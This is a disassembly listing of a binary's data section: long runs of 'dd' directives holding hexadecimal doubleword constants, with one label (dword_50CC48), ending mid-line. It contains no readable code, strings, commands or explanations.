0E8D28B14h dd 71B90257h, 822CAB24h, 515EF0DAh, 740EA4F7h, 4A0B1746h dd 0E5803DA9h, 7E7FC2BEh, 0B0506A26h, 6238C60Fh, 6AC98D89h dd 6AD7623Fh, 15CE40AEh, 29B0812Dh, 0BBBCF9h, 3FABB545h dd 218C9F1Fh, 0F7DAC261h, 0B54070E6h, 0C471E4F1h, 1E233D84h dd 1CD8B6CCh, 6BA2FF3h, 91F41D55h, 0F198801Ah, 3DA1DA7h dd 0B5011C29h, 66240809h, 2812FE23h, 0A6EF29D5h, 0FFD3B282h dd 3000BE72h, 2504E08Ch, 0E2A17BACh, 5E74148Fh, 1110A66Ah dd 0EC4781Fh, 0C1022549h, 89ED04E8h, 759392E0h, 0C1AF08A0h dd 7E8008E9h, 4537861Bh, 0BC8A05C9h, 6BE2F766h, 117076Fh dd 0AC3CF19Dh, 41D8482Bh, 8C1AE8h, 0B72C9A4Fh, 937D7B68h dd 0DA8B600Ah, 0D70037E8h, 3E22CB86h, 0D12C1F9Ch, 0FD93CB7Fh dd 51BF1B01h, 0E6E1E4FEh, 5961601Ch, 89EB5097h, 93955299h dd 0BCD2240h, 0AFA15182h, 82F9B5DDh, 39639BABh, 60A6A95Bh dd 31B465Ch, 1916396Eh, 0ED4CE999h, 49510020h, 6B93AD02h dd 0D10300F9h, 1906E364h, 0A4222CA9h, 318B3EC1h, 0E8DF4194h dd 0C569DDh, 0EE7F057Dh, 9304B7Bh, 0DC74851Eh, 0B156B882h dd 1DC6422Ch, 801C1193h, 7F37F006h, 80072420h, 0B860051Ah dd 28F681ACh, 30EE2161h, 0AD4E466Ch, 613CA80Fh, 24E830Fh dd 9123432h, 72FD3731h, 904B9DB5h, 27F6B2E4h, 250118BAh dd 29DE9303h, 181C71A0h, 0C1F81F35h, 0D1B0C234h, 0D8C0DAFBh dd 0CD912745h, 23A7609Dh, 0E0AFE410h, 39E46A9h, 2DFDABA3h dd 5AD8332Eh, 8B3D3B74h, 24AF5985h, 8180BC61h, 6B842CD7h dd 9BD8FA6Ch, 0EDA47863h, 846C7900h, 0BD0B9B23h, 580C4025h dd 0DC65B4h, 2161626Fh, 9B1F1BFDh, 0A017A730h, 0B281880Fh dd 0B85CBFEDh, 727500D6h, 0FDA033B9h, 423C35C4h, 70AE5DACh dd 0C78A193h, 0B590031h, 66D0B441h, 0C17083F9h, 0D1785A93h dd 3D0703F3h, 0A9A7CDA6h, 853360D0h, 0AA2C0528h, 3B61F801h dd 0FB860FD9h, 0F08B3BA7h, 61C16DDDh, 6CF5B745h, 69A98803h dd 0D580A635h, 7F1994DCh, 0F385D52h, 0D21D5B8Bh, 3A801811h dd 4D1EA6ACh, 8360E996h dd 0DBC9D4h, 3FE0D81h, 0A678E609h, 0DC67D200h, 2B61378Eh dd 0C410B6C3h, 8531423Bh, 93B4EB0Dh, 0AA174A58h, 0EFC51C9Ah dd 29DD831Dh, 40BAE95Eh, 7E1A0699h, 2317F13Ch, 0CEEA5FB6h dd 0C018883Ch, 1AD1A18Bh, 0B533EF05h, 35B7090Dh, 7AADD149h dd 88D332E9h, 67000630h, 0A26EEF0h, 446454h, 1A92D0C0h dd 1985C762h, 730939B2h, 0CD1FEFB7h, 53BCC040h, 2E091046h dd 8499B9B8h, 0B459B6h, 0C78100C0h, 5BAEB7F4h, 855F8960h dd 66B600ABh, 611DABBBh, 23797EB6h, 0C4B4FA15h, 86FB001Dh dd 8BFD1117h, 0A4003F4Ah, 0FD62118h, 2DD8DA22h, 959953D1h dd 5F0A6451h, 0F54BD8B1h, 8AE01D67h, 69B529A6h, 0DCB047ADh dd 0F62FB70Fh, 3AB5D790h, 10254080h, 2DBD29B7h, 0F29D32B5h dd 64801B91h, 4E5A891Dh, 230E2E17h, 0DD73DAEAh, 2E8D0CBh dd 9F07BD56h, 801D1199h, 14102CCDh, 269E0553h, 0EB1FA8FAh dd 6230B4A5h, 94BB00A2h, 0AC68C6Eh, 38503AF4h, 5F04F2D9h dd 276D9501h, 0F200600Bh, 870F3AE5h, 0BD47229Ch, 20D464EBh dd 610B1679h, 43919529h, 0F3502C06h, 1646748Ch, 912FC70Ch dd 88A1F842h, 5506C37Dh, 0CDCEF781h, 6DDE160Ah, 6EE430CAh dd 4B00C119h, 1CE195B6h, 1EA9CC2Eh, 1F9591Fh, 0F7DEE918h dd 9509C4FFh, 0E5C07579h, 5DAFE6BEh, 1CB94E4Dh, 0D6818715h dd 2F73206Ch, 0E52F8D21h, 3FBE3D01h, 8A07EA8Eh, 73E43F20h dd 0E37928BEh, 795C0965h, 776695A1h, 0A2F472F0h, 9504D07Ch dd 0E80A9967h, 7EDD88h, 0A3CE8868h, 310FBB9Bh, 45665A00h dd 0E01170B2h, 998D2513h, 56A2B40Fh, 5972800Fh, 0B5CB804h dd 0C0C477A5h, 1823816Bh, 3BFEF500h, 39603E13h, 0B1D0CB8Ah dd 6F8C0E98h, 83226173h, 416101E1h, 0B73BAF1Eh, 5E62067Dh dd 0AC8AB288h, 70CDFBFFh, 0DD312346h, 8D859668h, 53445C28h dd 0AE2FD243h, 0E8B00CA6h, 2B16F0EAh, 0CE30385Ah, 159332h dd 33C0DD0Bh, 2AD40E99h, 19CC7E02h, 0F9F5A187h, 0E2818098h dd 476F578Eh, 3760612Fh, 9B9E000Ch, 6DE361D4h, 858B1D04h dd 871432A9h, 0E33FB7D4h, 8586F24h, 467C26BDh, 0ADE50019h dd 0A44EB018h, 0E27EBD53h, 0BAE98680h, 11F0F09h, 5696BE6Fh dd 6C658D89h, 5F581307h, 1DF44706h, 7912786h, 0F039EBDh dd 0A0380D63h, 0AB8BF2BFh, 0A974106Bh, 0E681012Ah, 18089C94h dd 0D62EFD4Ch, 0C0C4DB48h, 0D739E128h, 0B0820380h, 0BA19D8Bh dd 0D0E36F03h, 0E541F159h, 92A9715Fh, 0E735800h, 1C0B318Eh dd 0AA9C8FD9h, 2CDD994Ch, 4905DE95h, 65E858B4h, 0DF8A09h dd 0F1F08029h, 11B51289h, 8E0A742Ah, 0C1168804h, 4174129Bh dd 810E41E0h, 2EFCE2F7h, 18934863h, 6FF65389h, 137605A2h dd 0A010F9CBh, 0F0884631h, 2999E32Dh, 0A7B16C9Eh, 0B5D34D19h dd 0E6FEAF64h, 7127E0A8h, 0AAEB75CAh, 8158F732h, 0D616D4BFh dd 0FBEFB06h, 7A170283h, 0FFE5A28Bh, 0E05B48D3h, 24DBCCE0h dd 0B76C53Ah, 494490B9h, 587ABA7Dh, 2507909h, 8A0E1892h dd 56E6A2C2h, 819ACBDh, 18352F99h, 0A6FF83D5h, 0E6D7B006h dd 0A87C01EEh, 61958921h, 5C0A051Dh, 0A108CBF7h, 1B467C1Eh dd 52ADA700h, 63B50D8Eh, 0B8663305h, 5DB0227Bh, 13DF0581h dd 3D523CBFh, 0C0B41ADBh, 0F314ABDh, 0F3F80657h, 0C823AEFCh dd 14F21943h, 50547F31h, 0C26E3817h, 6188740Bh, 0C1DF6DDFh dd 0F47A338Bh, 130B990Eh, 22659D2Bh, 5B85C7CDh, 76B7A542h dd 99ABFD2Fh, 154148FFh, 466800FCh, 8C7017AFh, 0BF031CA0h dd 0B5A9B294h, 68059229h, 9E615E11h, 8800DCE1h, 83E6A2BAh dd 10093BA6h, 25058595h, 0E7E85D8Bh, 613E07EBh, 5E575F9Dh dd 0C0EB9ABEh, 275D73BDh, 7F9F0148h, 0B4606498h, 0B58BCC4Ch dd 111D7525h, 10172ACAh, 90D8D29h, 623D9Dh, 0AB0340AFh dd 90B0F61Dh, 0C7D3154Bh, 275A3C1h, 8C66602Dh, 8878A8D8h dd 12F3542h, 6FF130DFh, 95EC457Ah, 1C535B0h, 0EFC1FE8Bh dd 3C8D680Ch, 0C8B42004h, 0DF45702h, 0FFAB0295h, 4B1A8E95h dd 5DE5F732h, 0C530DF82h, 1EFD02A9h, 45283F9Ch, 0D630E31h dd 6D6A5029h, 6E4A7Ch, 0C1C36112h, 5E06E02Eh, 0D2296860h dd 2D3B0060h, 8A3DC3ACh, 9CB858F8h, 6374D974h, 0D546C033h dd 0B9D0F760h, 4618370h, 3C8BDB33h, 923F218h, 388CE8h dd 0A273AC20h, 5DBA3D25h, 814C3080h, 0E6F9FDF7h, 0C0764A48h dd 0A0C51A07h, 29EA9Fh, 85F945A7h, 0B3B601E4h, 5938B118h dd 2FF3E33Ah, 0D68F6E2Bh, 0ABA9EF20h, 0ACC143E0h, 579B6AC2h dd 0D5F97Bh, 3CBE553Dh, 1215DAB1h, 48FAC4Ch, 0E98D0FBEh dd 894A7691h, 0E246C8ABh, 0AACB630h, 0F24270CEh, 18D609EBh dd 0D2876233h, 3CC3D7D2h, 40FBE13h, 6223E4EDh, 549894FBh dd 208509D6h, 0F1BE2C18h, 0D0788095h, 0C021E961h, 3E4D7E1Dh dd 0C2070815h, 80BA764Fh, 0E0CD4443h, 0B91B50Bh, 4BE9F5BDh dd 5C34D20h, 0BB3EAC65h, 34B9804Eh, 0B72C1C17h, 2DA51D8Fh dd 0F5C14067h, 0E83F1F23h, 26B34C19h, 2180C809h, 8D23FDE1h dd 0E18499Dh, 6519B18Ch, 0C67507D4h, 40EBEC98h, 0C76E3C4Ah dd 717D2A1Ch, 608666C0h, 0C02999E4h, 0B9CDA130h, 0A7070F72h dd 0ACA5D3B4h, 0C035081Ch, 72B1EC21h, 0C07E013h, 0E33D2D49h dd 0C470989Fh, 7EFF0032h, 25AEBB8Ch, 400CBE8h, 272AB76Dh dd 0C778E2h, 0A1B0083Ch, 0F4E77999h, 7F20A60Ch, 73E81EEh dd 9ED2D9ABh, 7A58E02Bh, 0B0000B54h, 1FBB79A0h, 60415325h dd 36720A4h, 0B353FDC9h, 5B55C420h, 0E3AC1D64h, 6423F40Fh dd 0CA62E03Fh, 23FCE620h, 53E10005h, 0FB41F80Ch, 2B7128EBh dd 0F501C8C7h, 0A10E9680h, 0C5E430DDh, 6C3D14F0h, 8378E918h dd 50829929h, 8DA068h, 8F972A8Eh, 0DE1330E9h, 1FB00914h dd 8CCDBCF8h, 5073DC71h, 74CE4B01h, 0D699EDF6h, 12A66980h dd 78C33B2Ch, 4B87C8A1h, 0C034C8F4h, 28539874h, 0E9886F1Dh dd 0D133A30Ch, 5806F52Ah, 0BC9E1E21h, 0A7017284h, 203062E4h dd 0F972BFEAh, 0DAAEE100h, 6CF32073h, 348A9F4Dh, 30EB8024h dd 697D7F87h, 0CB463A00h, 4B424F3Fh, 0EF580510h, 4A331E5h dd 22DF8BA0h, 23F630B2h, 0F03F1A11h, 0E480C988h, 0DEC23FEh dd 5F4A0232h, 0ADC55B3Fh, 0A7D01C40h, 70BA992Ah, 486E078h dd 0A7037285h, 908E94h, 7172BDE8h, 0F6EB65F4h, 38ED12A7h dd 0D0C00DBh, 0B208FAA6h, 0D7E9CEh, 222C8769h, 346C3FC8h dd 0D830C9BAh, 6908EE21h, 0D7C5BD1Fh, 1DFA483h, 9F6DA86Fh dd 0B071C122h, 60BB9AB5h, 3E002E9Bh, 3F773235h, 348F5E65h dd 8282AD5h, 0F2C0BE90h, 463F1623h, 0CC2290h, 0B623FAF8h dd 841B4A65h, 6A14C60Eh, 63E344AAh, 0EDA42880h, 6CD050E0h dd 0C048CFEh, 22CBB69h, 0F220DF62h, 3356EF4h, 0B402A878h dd 0A93C818Fh, 0DE4594A6h, 405209C4h, 0EC18AA27h, 6CF5908h dd 0A9B82D76h, 4760EDA1h, 7B0FA384h, 0FF901964h, 0BA69E067h dd 448C0A2Ch, 0F70EF5DBh, 0C069DE6Eh, 0F17F5C5Eh, 44341401h dd 4079E011h, 600017A5h, 0BCC53DACh, 0CF33088Ch, 91188F71h dd 2400D146h, 0AA83A066h, 285CC874h, 92103477h, 0D8B0C05Ch dd 0A9A0287Eh, 3B140090h, 56AC7007h, 1C37F038h, 0F24CEA88h dd 0D36020F5h, 73332C0Ch, 4D055841h, 890FD455h, 630AF1B7h dd 1F47809Ch, 0F3E9F465h, 0E029C519h, 21834409h, 0D164E7A7h dd 96AFEFC0h, 45354D00h dd 0DDBBD29Dh, 0D8293558h, 0AB0683D8h, 686708BAh, 3E60CE64h dd 934825C9h, 0E4EA722Eh, 8FC8B361h, 64232B71h, 9C30CAE2h dd 0DE2202B1h, 0BDAB3F66h, 7E76C4A0h, 0C12904ADh, 0F6118CB0h dd 0F7651C80h, 448CEBE9h, 0E406A07Dh, 3B2B0464h, 91D24159h dd 1A80F448h, 1BE9F165h, 7322DA43h, 64E2A201h, 0BB1B08D2h dd 0F8236022h, 85690201h, 0DC18122Ch, 900AF088h, 3FD4715Eh dd 1B0674C5h, 989E7057h, 8A00521h, 1860040Ah, 46E9F365h dd 797F220Bh, 0FA6400ACh, 4B0C0157h, 71C7AB09h, 0B6701DD9h dd 65C9A0h, 41189F59h, 28AD8F3Eh, 0BD46D4A4h, 1923F302h dd 711C983Fh, 0A02310FBh, 298520DAh, 0F1A8C715h, 7886187Dh dd 269924FBh, 0C0809F94h, 955235EAh, 410FDEADh, 0E9332A27h dd 0F290004Ah, 0C0BA5B08h, 0A1067990h, 3C7AB362h, 70A81524h dd 1329F42h, 826CAA99h, 50DDC458h, 3BB848D4h, 0E422F953h dd 860EE123h, 9CA70472h, 0EB203762h, 0AD72BEh, 0B6131073h dd 9E801251h, 8A69FE6Ah, 68DDB00Ch, 9CB3548Ch, 0F2DB0035h dd 0EC39E428h, 8099324h, 823BBF09h, 0D7D85Ch, 506762CCh dd 605D98C0h, 61A74B2Ch, 0DD22104Eh, 0BC38289Fh, 0D2008CC2h dd 94DDF6BDh, 74570FE2h, 72052A75h, 195400C4h, 0C9564247h dd 0ED007353h, 0AEAFD77h, 13BD320h, 0F2AE511Ch, 616CB9EBh dd 23B83200h, 72B801E7h, 73ACA70Eh, 1D8B9054h, 1D40B572h dd 8EC3DD63h, 7B381F79h, 2F1C13EBh, 0CD2318h, 696E7CB9h dd 1906030Eh, 389E7553h, 4B9F0171h, 0B5A2349Bh, 81A0C0E9h dd 7ADD4A00h, 5145B7B2h, 0F99E13EEh, 0A6FC08FEh, 21F70E81h dd 0C473BA8Fh, 0DD3137A2h, 6148BF8h, 8C07A4FEh, 157559B9h dd 0B0C37F00h, 0A911C0BDh, 988A480Eh, 908C78BCh, 30510085h dd 89CAC037h, 0F024C5A7h, 221320B1h, 175C1DBBh, 23B42F1Ch dd 372F00C8h, 4BB65636h, 906B0324h, 0BA60E544h, 0A7230C72h dd 3B11BCh, 0F972B2EFh, 13420FAh, 0F34D9C9Fh, 0E08E8C04h dd 0C00C878h, 411E2711h, 18290705h, 0C0BE8424h, 5B123D1Ah dd 0CC0AF65h, 0BA26BB20h, 30364C2Ch, 78C7BE8h, 3E278F8Ah dd 986123AAh, 41768EE0h, 0F5E90B09h, 0E48C45A5h, 0DC28603Ah dd 3379066Ah, 0B0C8D5BBh, 0BCA90F26h, 0EAF20180h, 1D113FFDh dd 41EFB41Fh, 2689021Bh, 271CF85Bh, 34FD0500h, 0DDE9F02Bh dd 8D3D006Ah, 0A2A7A02Ah, 0AF07AEB3h, 5C4B53Eh, 7B4B2861h dd 0BC4E3C75h, 0FDC03688h, 0A6D1AD5h, 0E4F683D8h, 74302CA8h dd 603C7D46h, 0A9A2891Ah, 0CCE4E8E5h, 91DC9560h, 66DFAC00h dd 432C6F78h, 0E05760CFh, 0D9CCFDA0h, 91EBD49Ah, 0BB80E2F0h dd 84A70D72h, 0AFEE1387h, 2D505403h, 0F3C2B8ECh, 0A0D50A97h dd 3D4B1CDh, 91466E0h, 0EE3EC0A0h, 32B46C05h, 40044BBFh dd 3400D458h, 9D824188h, 7AA4B603h, 78733ACCh, 0C780A2A9h dd 60CA44A0h, 5405D9C4h, 0F0EAAC6Fh, 0CCD81D43h, 0F5A703F6h dd 8024D6ACh, 0E908301Ch, 539A20A8h, 7EB2DC3Fh, 4AF84531h dd 2AF5F299h, 4B0DA84h, 58E829E4h, 32E0A043h, 0CAA1BB10h dd 7BE8B458h, 1524E68Ch, 0B4D65DC9h, 5269117h, 3E6FB5BDh dd 3123E8h, 0D61D170Bh, 900C6EAh, 263D4EA0h, 0C7279FBDh dd 0CE387329h, 0C45136C3h, 0F029B9B7h, 3611E41Dh, 0CF5F9580h dd 763C5518h, 0F9C45197h, 0B07477AAh, 18530EE3h, 196EA7B1h dd 0FB2628E8h, 934E703Dh, 5FE7D0D0h, 19F9123Fh, 0BCB43256h dd 1123F030h, 88803F18h, 0F8FA80B5h, 429EDD23h, 0A602BC96h dd 72C33C25h, 5E609404h, 31013446h, 2F78F6EEh, 3F91E730h dd 78242D21h, 2E574014h, 0F7944008h, 651D028Ch, 0C5E3E9F6h dd 20177C19h, 817B64E5h, 0E9FEA0C1h, 61A65F28h, 0D3270097h dd 7CFD2D31h, 683BC74Eh, 6600DE23h, 0EB596216h, 28A0E2BDh dd 33ECB405h, 0A729AC08h, 0D5E1DBE8h, 52B37D03h, 11FF64ADh dd 0E223F90h, 0B8A8DDA1h, 0B47B2D88h, 39465ED0h, 0EB3D530Bh dd 4A10CC44h, 0A6197057h, 18FCE020h, 0B969040Eh, 0E2C9F22Ch dd 0F6F480D8h, 2E1936Eh, 327CC67Fh, 0F4D0E363h, 0AC9C2D0Bh dd 40CC4C24h, 661D2ACFh, 4C645854h, 2B533084h, 4BE3320Fh dd 66C09D7Ch, 0F42D0D62h, 7F10B1E3h, 209C5502h, 12403423h dd 8870CB8Ah, 0A88FC07Ch, 51247B37h, 465E2C8Ah, 83F3C7Fh dd 4C2B3h, 0B009C117h, 0F50C6C3Ch, 11CF9B30h, 0DB1528B3h dd 8FF72790h, 5BE60AEh, 0BBC5AA3Dh, 19B60E0Ch, 487612DFh dd 0B50D0073h, 260E4FAh, 89BC6100h, 0F10197C2h, 8D90A0BBh dd 7143A80h, 0D1ECF029h, 18601DD8h, 0C3C4170Ah, 0EE2E1D97h dd 58EA02F4h, 0B0D2CB63h, 4B20E813h, 0CCABE820h, 329245FCh dd 3078E21Ch, 3B3B5843h, 0BC480294h, 716D6C25h, 18DA797Ch dd 4F6E0392h, 77B57046h, 7F78EBE8h, 1B781492h, 3FE76601h dd 0C5B3E976h, 103C5031h, 28CA0BCh, 50BF77A2h, 0D864CB09h dd 10AC0858h, 1A02D474h, 0ADC1BBA1h, 980B1084h, 65091948h dd 0E503E9F2h, 0E1AD8004h, 28F5EF64h, 14436115h, 0D0B126BCh dd 1D23F7C0h, 2CF85B3Fh, 0FF03E76Ch, 4909D23h, 58D6C0CBh dd 0EACC4041h, 74AB782Ch, 7FA0B004h, 7B88988Eh, 7176B1C0h dd 8D9407CAh, 853B9E8Fh, 2595027Eh, 8489A7B4h, 61531002h dd 30762C00h, 0C3CE917h, 148CB5ECh, 0A82E1C89h, 8C7EE8h dd 0DE6130A8h, 3CE77D5Ah, 4047249h, 0A648FD12h, 8CFBF8C8h dd 86690305h, 60B22A2Ch, 690BF1C1h, 1AA0834Ch, 0F3632A5Bh dd 4F0126Fh, 0FD883FAh, 18678902h, 42D60327h, 0D1C47198h dd 7579187Dh, 0AB3E0907h, 48E0D3B9h, 0E8A85B28h, 2130533Ch dd 30F418CEh, 14BD2DFDh, 0C911C41Dh, 560EA980h, 34BC8EF9h dd 8B8CCA43h, 9882D82Eh, 4B3F2F7h, 9D3D1FE1h, 2C90E2E2h dd 4B00454Fh, 2484F571h, 0AEE0095h, 0D141E43Fh, 6A012E7Ch dd 77F6D227h, 7983BA2Dh, 9B26511Bh, 207A04DAh, 7E4C3600h dd 9DE7A3BCh, 6288030Dh, 5DD4A245h, 0B64E2688h, 43283F13h dd 0A0237C3Ah, 425AC50Eh, 81DCD150h, 0EBB6839Ch, 0CBA19193h dd 0C03AC8E0h, 0B18E61Ch, 0EF036D00h, 0E989CF81h, 0B779C0D0h dd 5ADA8A01h, 0DD121190h, 18A1CF18h, 5AE9ABDCh, 23D43BB1h dd 9540673h, 0D1FA69A3h, 3BBE593Eh, 38EB00CEh, 16C785EDh dd 3A9F3E49h, 8EFE2A00h, 8A1760A6h, 171CB625h, 80CD1104h dd 1A3453F2h, 0D6650102h, 0BB3F2645h, 12846C31h, 70A34066h dd 1086A5Ah, 30559B9Ah, 44EE4BB6h, 0B4452EB0h, 35DB4208h dd 6F40009h, 5405A647h, 4B8C77h, 0C853698Eh, 0A316857Fh dd 3374B500h, 8BF67A95h, 99207E1h, 0FB91BBE4h, 45AA9884h dd 0D4E43EA6h, 1EC10B56h, 4CAC3ADBh, 0E700B520h, 85A99B6Eh dd 9E26779Fh, 8CED8FF4h, 0D17D3204h, 92219978h, 0A100F549h dd 7824028h, 0E49F0087h, 77F1A280h, 0A17B7E41h, 960C7D5Ch dd 0A6851804h, 6974EA01h, 7A2068B4h, 0F401074Fh, 286F20E9h dd 65DC9880h, 0C48F58EBh, 7F0C089Ah, 899FB6D3h, 0EDA63EA1h dd 2438BC24h, 74A30858h, 4020AE0Eh, 11606C24h, 53A10261h dd 0E23D71FAh, 2A0A7052h, 0C051FF43h, 17B08595h, 8D197850h dd 0E7DFBC70h, 3628B16Ch, 0C8982537h, 0E2800574h, 22A70C94h dd 8F59FBE3h, 768164B6h, 49263A79h, 15A4E8h, 0CFAA5686h dd 98DC2F62h, 0C16A540h, 0AEF14B25h, 98C46550h, 0A405557Bh dd 0A67005FDh, 52E0233Ah dword_50CC48 dd 0D9074980h, 28880978h, 33DE166Bh, 88448E8Bh, 6330C035h dd 380291E7h, 42C46086h, 0B24F07Bh, 80961FACh, 3C5C0C0Ah dd 81D46AFh, 0BB803591h, 888503DDh, 0AE74571Ah, 791459C0h dd 7E1C1844h, 1BEF01EEh, 92C56F62h, 209442E4h, 0E4B82224h dd 724742C2h, 453B0127h, 60CEE4FCh, 0A3B691h, 11F6D043h dd 2C6EBFEBh, 467CF4B6h, 0FD1C0037h, 35A0576h, 0BC7D4899h dd 0FC18F189h, 2B00AD9Fh, 1F1B213Dh, 0E3A83Ah, 0FF56BCA2h dd 0B0C5A178h, 2D8D35Dh, 7553430Dh, 67B86077h, 6C073825h dd 9A86AA17h, 3A45C044h, 480A6432h, 3E7ED0EBh, 2FCE09C3h dd 3ACC23B4h, 34600400h, 0B092980Eh, 5F62CA1Eh, 2032CC68h dd 900FF1EFh, 0A96ADCh, 437A91CAh, 0D164C5D9h, 3D1D9C92h dd 0D0E4BDBBh, 305CF14Eh, 58CCCBCh, 0ED577DD9h, 839F8253h dd 0EB6EACE0h, 6CA4DF1Bh, 316FC108h, 106258BAh, 145E8609h dd 0C2A800D6h, 2B744BEEh, 0E02557C5h, 75C379Fh, 0A04AABA8h dd 483CFFB5h, 78EB5D09h, 24BCC0A3h, 13114B53h, 250002D0h dd 0A40060D3h, 0A1D858DDh, 38227FA4h, 53009648h, 0F5A0B36Ah dd 20C4F008h, 4340BE8Ch, 0A5A2691Ah, 0B60CBBEAh, 917104F7h dd 4ABE0078h, 0B3D7D066h, 22002090h, 0C0EC6245h, 93EE8A7h dd 0E30FA11Ah, 953BB085h, 0AED00A3Ch, 0F437A5D4h, 105AE800h dd 9CF207h, 5C0B5406h, 0A1A55325h, 1560F8C8h, 8727AC1Ch dd 606E0C6Dh, 28386415h, 9C26293Dh, 0A6620730h, 0D8A4283Bh dd 0BBB7808h, 444D1C17h, 3081A465h, 8D03DFD9h, 32868F91h dd 3139F2E8h, 0B301F0A3h, 80D89E58h, 6E056BAh, 0FA31003Eh dd 0B2A35F68h, 0B4B4A0B0h, 4F78EA82h, 0BFF040CAh, 33770864h dd 0A93C2CB5h, 631614ADh, 89AB8820h, 58E880CFh, 660EF5Dh dd 0A981A8D4h, 2E761818h, 8754E9A4h, 46E5F026h, 0BF782301h dd 83F8B0F2h, 2E8A5BBCh, 7923A4h, 0E7824B05h, 4D28AA61h dd 809498AFh, 0DE465Eh, 0A6FC4603h, 0C4A72F77h, 0C804ADB1h dd 591DB8C4h, 490F6652h, 603A8F19h, 0B0337E5h, 0AC73E7h dd 0BAF865C6h, 2B701E16h, 0FDEA9402h, 9138A6B2h, 0A44804C4h dd 401C3849h, 0B11F2A81h, 87A409DCh, 0EED38791h, 84D60A30h dd 0CE9D0102h, 7C8CDEAAh, 0C50C099h, 0C3E1F40Fh, 0B928A2C5h dd 637EC2EAh, 149D2D0h, 2A9FEB8Bh, 967DE5E0h, 0DC3424D4h dd 5321900h, 0DC1FA9A6h, 43E74039h, 329E2A40h, 0A730614Dh dd 6A3B60E0h, 0F844DA5Ch, 0B6008C36h, 0D7BFEDA8h, 96BAFE0h dd 0D6CEF661h, 99F8488Eh, 6EE132C5h, 246B3E0h, 6E6C9307h dd 68726065h, 4FE42A65h, 58DD10B0h, 145C826Dh, 1946AB18h dd 9DFCEDh, 817D34F8h, 0DC7609AFh, 6CD96EA4h, 0C419A079h dd 53253CA7h, 307422C1h, 260501Fh, 40E98C01h, 9C813E0Fh dd 2F3950A4h, 2C806402h, 0C098FA3Bh, 0A6A5F128h, 0D260B8C5h dd 22F421A0h, 477CBCE0h, 1D5080F7h, 0B0038D0Eh, 1A826D11h dd 0C5A4E021h, 94B35990h, 1BA11802h, 0CCB56BB6h, 44803111h dd 0A75FF282h, 0EDE20F00h, 6EE18A21h, 613C79ADh, 0A5B699B3h dd 0FCD1D232h, 89860100h, 3CED13h, 0FBD66578h, 0B434AE99h dd 0B12740F0h, 867868ABh, 0FFF100E7h, 511BC477h, 0F12D2A3h dd 4C57EBF4h, 60A1FCC1h, 5C72AED1h, 74A0F52Ch, 95584446h dd 23E3B300h, 0B29918D2h, 3B28F20Ah, 0CD279462h, 59A3E030h dd 0EE3D739Ah, 0BA2C8520h, 74C3B3C9h, 0F60794D3h, 40F2EE67h dd 1D6D1B0Ch, 0F49B073Ah, 0BC22B078h, 18244A8Ch, 0ED6A6937h dd 5885F85Ah, 0ECA66413h, 0E6CE3C07h, 0C738C003h, 371844A3h dd 0EC29AD08h, 2F800FEh, 3096C329h, 0F1580EEEh, 567008E0h dd 0A07A4914h, 0CF9F8017h, 0C2C5A0D3h, 0D1E700DCh, 0E5F87021h dd 74603C0Eh, 0F357809Eh, 74672FB6h, 0BF2E00EBh, 9C289F32h dd 0DA019D8Eh, 3CA5C7B0h, 0A2421367h, 0DD284020h, 0CCA44CACh dd 75833Ah, 0BA8CE3F5h, 0CD8A0F98h, 2821FD33h, 8020DEC5h dd 0C048F518h, 0B6B35749h, 2AE809AEh, 840B0528h, 6D8A6C25h dd 6E866014h, 0A617D205h, 0C288019h, 6C45203Ah, 396A0537h dd 0C2D549D0h, 4F443895h, 0B0EC9E03h, 212970AFh, 0F200C00Fh dd 0E6951B48h, 26B90FFCh, 8742BC08h, 50446332h, 33762D09h dd 0B950D82Ah, 18CF797Ch, 0DA9101D6h, 0C8FE8875h, 0E4404009h dd 9B013CD5h, 0C24FC3A0h, 0DDF07CB9h, 0B6A49A69h, 0DC465E38h dd 0DAEF1500h, 0DD8766C5h, 63115027h, 9A20C388h, 58844C1h dd 5B3CA853h, 85C9222h, 8C0004D2h, 0B7D087E7h, 7AEEF7h dd 44DFAF2Ch, 80022419h, 0A0BDEF4h, 85B86E8Ah, 0E8A8B45Ch dd 8C36E8h, 6569C57Ah, 0F19C9526h, 0B2FC4B1Eh, 5260B9C0h dd 15DCB0ACh, 0A8BB2C77h, 0F8706C00h, 0B8F60D38h, 0C7C8E760h dd 0A4074BE4h, 932B00F0h, 3412E9D0h, 0FA007B78h, 0D7F6469Dh dd 24B0F01Ah, 0A5B04067h, 0CA11B01Dh, 8BB06580h, 527C6927h dd 0C4E8FD24h, 0A46B2C8Dh, 75218832h, 94421BEh, 1859B198h dd 4518A3D9h, 68382C0Bh, 0D9A45960h, 9871835h, 0BBD112B9h dd 3400E0C6h, 636D3B71h, 5AFDA6BAh, 0BB40C0E0h, 0D8CA6E25h dd 0B38084B0h, 877B1DA9h, 0D30400ABh, 7C69C095h, 0E80931CEh dd 7030FB40h, 0FFC7724h, 0F51260A6h, 1F7C0B45h, 0D8AA0ABCh dd 20CDA5D8h, 0C0D7F8C0h, 2225F26Ch, 3B13B998h, 9CD571FFh dd 0E39F308Eh, 0A54EAF02h, 2F144C18h, 0FC102DAEh, 0C3743AACh dd 10E568DEh, 0C2F528h, 2F142A6Ah, 0F6522584h, 89F0E0FAh dd 0CB4ED403h, 234CD83Eh, 909FD98h, 0FAA60469h, 0F7C0C4B2h dd 0A9446EF1h, 7255A600h, 490922B2h, 0B33E3CEAh, 0E85982FBh dd 0F0EFB200h, 2511488h, 8E7677F9h, 50E1BBF1h, 0E1201762h dd 0B0C54486h, 0DFD72794h, 0C991389Dh, 48D30D80h, 61009FD5h dd 0A1C0C5A3h, 924425AEh, 0B0B70A8Ch, 96E0ABA9h, 0C98D008h dd 0C300485Eh, 301CBCCCh, 5ABE7EF8h, 26F021B0h, 1996F020h dd 50B9E91Eh, 20706E4Fh, 1A39A13Bh, 59A8A23Fh, 18A3796Ch dd 432C3415h, 12E409BAh, 0DE91BCB5h, 0C31B5E80h, 5827EB1Ch dd 0A0E080A3h, 0BCC681BBh, 784676D0h, 11FD9300h, 0CC0D6FF0h dd 7D2B3A1Ah, 8CD61B0h, 0EC418438h, 37A2A866h, 81F0D833h dd 0E9AF0B9Ah, 28C88CEBh, 0FAF8D1B3h, 149005EEh, 26D97B60h dd 2EE3DF15h, 1658D398h, 68E0B1A3h, 0A66810D4h, 23102F4Bh dd 17C105A3h, 7C2DC2F6h, 194FB050h, 2A7C482h, 0E8728C80h dd 0CC851F00h, 2F58BF37h, 5CE90025h, 0C4EE0723h, 0C6014462h dd 3B2A1154h, 3B7A50FBh, 1302368h, 7C4657F2h, 1000EFC9h dd 66E18D76h, 14F13058h, 782C7BCAh, 38CD8BCh, 0B30D43A2h dd 2C98355Fh, 